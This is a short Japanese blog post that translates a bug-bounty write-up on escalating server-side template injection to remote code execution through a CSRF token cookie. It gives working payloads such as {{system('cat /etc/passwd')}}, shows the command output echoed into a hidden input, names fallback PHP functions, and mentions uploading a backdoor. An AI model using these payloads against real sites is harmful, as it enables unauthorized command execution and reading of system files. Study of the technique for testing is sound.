Shikata Ga Nai

Private? There is no such things.

SSTI to RCE via CSRF Tokenを訳してみた

Hello there, ('ω')ノ

 

CSRF トークンを介した SSTI から RCE へを。

 

脆弱性:

 CSRF

 SSTI

 RCE

 

記事:

 https://satyajif.medium.com/ssti-to-rce-via-csrf-token-6db133df3e54

 

今回は、CSRFトークンを介した

サーバサイドテンプレートインジェクション(SSTI)から

リモートコード実行(RCE)について。


SSTI 自体は高から重大なバグのカテゴリに属しており、RCE を実行できるため、

間違いなく重大なカテゴリに属し。

 

その前に、作業を容易にするために、まず Cookie Editor アドオンを

お気に入りの Web ブラウザーにインストールして。

 

ステップバイステップ

まず脆弱な Web サイトにアクセスし、[Cookie エディタ] アイコンをクリックして

Cookie を編集し。

そこに CSRF トークンがある場合は、CSRF トークンを含む値を削除し、

次のようなコマンドで置き換えてみて。

 

 コマンド: {{system('uname -a')}}

 

 

次に、ページを保存して更新し。

何か違いや変化があるように見えるので、ソースを表示してみて (CTRL+U)。

脆弱性がある場合、結果は次のようになり。

 

 

上の画像がわかりにくい場合は、コマンドが実行されるスニペットを次に示し。

 

<input type=”hidden” name=”csrf-token” value=”Linux ip-172–31–46–31 4.15.0–1060-aws #62-Ubuntu SMP Tue Feb 11 21:23:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Linux ip-172–31–46–31 4.15.0–1060-aws #62-Ubuntu SMP Tue Feb 11 21:23:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux” />

 

次に、コマンド {{system(‘cat /etc/passwd’)}} を使用して

/etc/passwd の内容を読み取ろうとし。

 

 

ここで SSTI を RCE に投稿するには、これで十分かもしれず。

バックドアをアップロードするにはどうすればよいか。


追加

システム関数を使用してもコマンドが実行されない場合は、

shell_exec、exec、passthru などの別の関数を使用してみて。

必ずしも 脆弱性ではないというわけではないので、

機能が無効になっているだけかもしれず。

 

Best regards, (^^ゞ